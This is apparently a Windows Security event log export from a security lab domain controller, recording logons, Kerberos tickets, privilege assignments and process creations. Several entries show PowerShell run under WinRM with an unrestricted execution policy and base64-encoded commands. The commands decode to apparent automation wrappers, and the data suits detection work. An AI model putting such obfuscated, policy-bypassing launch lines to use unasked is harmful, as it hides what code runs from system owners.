	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250561
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x570
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1340
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250560
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x112326

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250559
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x112326
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250558
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250557
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250556
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250555
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11230A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250554
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11230A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250553
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11230A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250552
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250551
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250550
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250549
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x110909

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250548
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdc0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250547
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe78
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x284
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADUANQAyAC4ANgA3ADEAMgA1ADQALQAyADYAMAA2ADMANQA2ADQAMgAxADgAOQAxADUANQAnAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdABtAHAALgBGAHUAbABsAE4AYQBtAGUACgBJAGYAIAAoAC0AbgBvAHQAIAAkAD8AKQAgAHsAIABJAGYAIAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIABlAHgAaQB0ACAAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAH0AIABFAGwAcwBlACAAewAgAGUAeABpAHQAIAAxACAAfQAgAH0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
